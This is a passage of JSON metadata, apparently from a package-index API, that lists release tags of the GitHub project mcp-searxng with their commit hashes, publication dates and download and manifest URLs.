/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.10.0/manifests"},{"name":"v1.9.0","sha":"5652aceb7e8742f0c6d718a88844fbbef3b7ed2b","kind":"commit","published_at":"2026-07-02T21:36:51.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.9.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.9.0/manifests"},{"name":"v1.8.0","sha":"a20b5c9711b8f0ba24d9a054f113d0108881dc86","kind":"commit","published_at":"2026-06-23T19:39:55.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.8.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.8.0/manifests"},{"name":"v1.7.2","sha":"3bc16c80869b81b91dbe6d63c27ef46acd9add51","kind":"commit","published_at":"2026-06-21T00:46:51.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.7.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.2/manifests"},{"name":"v1.7.1","sha":"2f5768e5be4d8102f9ce805e8a9105e33eb1795b","kind":"commit","published_at":"2026-06-18T21:35:58.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.7.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.1/manifests"},{"name":"v1.7.0","sha":"7cc1eacbb28056d34d1a3665a8e7201590e14f0a","kind":"commit","published_at":"2026-06-18T17:26:21.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.7.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.0/manifests"},{"name":"v1.6.0","sha":"0d9c5ade5b8966f8cefc6e473b4a3ad0b4f431fb","kind":"commit","published_at":"2026-06-16T20:55:47.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.6.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.6.0/manifests"},{"name":"v1.5.0","sha":"381d4f8e0494f2bbec2063ce6907be35b257c224","kind":"commit","published_at":"2026-06-12T21:09:20.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.5.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.5.0/manifests"},{"name":"v1.4.0","sha":"fe943ce3234201d4cc6050d38eb60fd06e112dcc","kind":"commit","published_at":"2026-06-12T03:11:32.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.4.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.4.0/manifests"},{"name":"v1.3.4","sha":"e7296d4752eeb1c406240ce5c2ab632575fc3a90","kind":"commit","published_at":"2026-06-11T20:42:08.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.3.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.4/manifests"},{"name":"v1.3.3","sha":"95d664cc725fd473b1fd910776c6afcd974d3670","kind":"commit","published_at":"2026-06-10T21:18:27.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.3.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.3/manifests"},{"name":"v1.3.2","sha":"89ae270965232411ed9d14527c5ec8260f46eaf9","kind":"commit","published_at":"2026-06-09T22:29:55.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.3.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.2/manifests"},{"name":"v1.3.1","sha":"08eb78e6676267cccdea509592bfa8429f836f23","kind":"commit","published_at":"2026-06-09T05:13:32.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.3.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"da50d66379260cbe02269b36f284cbfb168f7dd8","kind":"commit","published_at":"2026-06-09T05:03:11.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.3.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.0/manifests"},{"name":"v1.2.1","sha":"75bc25d27f01fe1f577c4c4a13e6e340f4d81ff1","kind":"commit","published_at":"2026-06-07T22:01:55.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.2.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"da4d43b5123dae694d6bd9c67b8ab2f19ff23cd1","kind":"commit","published_at":"2026-06-07T20:16:38.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.2.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.2.0/manifests"},{"name":"v1.1.1","sha":"ca09dc23829117fe5f75fcd680427c34c47191ea","kind":"commit","published_at":"2026-06-05T18:36:12.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.1.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"b1c23277c3a38d3614d2c6ca07b0a68a25e1d41d","kind":"commit","published_at":"2026-06-03T18:54:12.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.1.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.1.0/manifests"},{"name":"v1.0.5","sha":"20bc632d5d87d3289798c3f6803b7f2c02ebd5b9","kind":"commit","published_at":"2026-05-25T23:46:11.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.5/manifests"},{"name":"v1.0.4","sha":"65b0cb16cded0f8fa44109a11710d30e0bbe99a3","kind":"commit","published_at":"2026-05-23T19:49:37.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"5927fae2c774f73721efd88066d0e53bc7722fbb","kind":"commit","published_at":"2026-04-05T15:26:11.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"4edc3d2e6eb902bb7ee75784f5ddda1c6cfc7a56","kind":"commit","published_at":"2026-04-01T22:36:43.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.2/manifests"},{"name":"v1.0.1","sha":"ee20bfcbdc008e64c80268dc307a401595efba85","kind":"commit","published_at":"2026-04-01T22:00:42.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"c920a349b4353f848e2da5f223f45388a20ea20c","kind":"commit","published_at":"2026-04-01T21:53:25.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.0/manifests"},{"name":"v0.10.5","sha":"7cceda24f2967ea2cbe646ddd6b8ebe7a199344a","kind":"commit","published_at":"2026-04-01T06:38:52.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.5/manifests"},{"name":"v0.10.4","sha":"cf52cbd316e6bdba9d164542e69a34e5f102fa1a","kind":"commit","published_at":"2026-04-01T06:34:28.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.4/manifests"},{"name":"v0.10.3","sha":"563661ce5be002a8a25b147b70f7041667f0be7a","kind":"commit","published_at":"2026-04-01T06:21:07.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.3/manifests"},{"name":"v0.10.2","sha":"e3e6cdfb2768b450ebdd26c8e074921e774cfded","kind":"commit","published_at":"2026-04-01T06:04:59.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.2/manifests"},{"name":"v0.10.1","sha":"20701ec120576daff43349fbcfca3506fe59eff5","kind":"commit","published_at":"2026-03-30T21:34:20.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.1/manifests"},{"name":"v0.10.0","sha":"a844ca77fa4711ced8c0533cf1fef9120d66faae","kind":"commit","published_at":"2026-03-21T18:39:23.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.0/manifests"},{"name":"v0.9.2","sha":"b1d8adf420d1712b36483442cf031d54347b2984","kind":"commit","published_at":"2026-03-11T22:48:01.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.9.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.2/manifests"},{"name":"v0.9.1","sha":"ee56d85d513334ca3cd0dc2580d31dc201ba5639","kind":"commit","published_at":"2026-02-22T19:32:10.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.9.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.1/manifests"},{"name":"v0.9.0","sha":"3efaac235d1cea17f16050e86b8c1c344c1e2287","kind":"commit","published_at":"2026-02-18T23:21:04.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.9.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.0/manifests"},{"name":"v0.8.0","sha":"4c47b04249c88d5531ed1771c7eb819213cb4864","kind":"commit","published_at":"2025-11-09T22:05:02.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.8.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.8.0/manifests"},{"name":"v0.7.12","sha":"fc76c97ae2665e3d190bc4407934c6b55d3f52ac","kind":"commit","published_at":"2025-11-01T17:40:09.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.12","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.12/manifests"},{"name":"v0.7.11","sha":"1dc6f971a6dcc8613166bc01946f56d3d629a25e","kind":"commit","published_at":"2025-10-29T05:39:17.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.11","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.11/manifests"},{"name":"v0.7.10","sha":"477f2920527b1e173b9a8958bf822f569219bb1a","kind":"commit","published_at":"2025-10-29T05:37:22.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.10","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.10/manifests"},{"name":"v0.7.9","sha":"3ffb7d6ac540c946024f29ad449ff1c0cf019d0b","kind":"commit","published_at":"2025-10-29T05:24:27.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.9","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.9/manifests"},{"name":"v0.7.8","sha":"42d5f6f56c6fe4f71eb8cb42a8d363c4f36769f2","kind":"commit","published_at":"2025-10-19T20:46:45.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.8","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.8/manifests"},{"name":"v0.7.7","sha":"04c58bb7b91e3803460cc5c1913255deb773f817","kind":"commit","published_at":"2025-10-19T20:44:21.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.7","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.7/manifests"},{"name":"v0.7.6","sha":"67dbd7fe6c148aead07b8b6a145d0129176f102e","kind":"commit","published_at":"2025-10-19T20:37:13.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.6","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.6/manifests"},{"name":"v0.7.5","sha":"e83f814f3d837e638501f4586faf5efa2d6b65e9","kind":"commit","published_at":"2025-10-19T20:34:41.000Z","download_url":"https://codeload.github.com/ihor-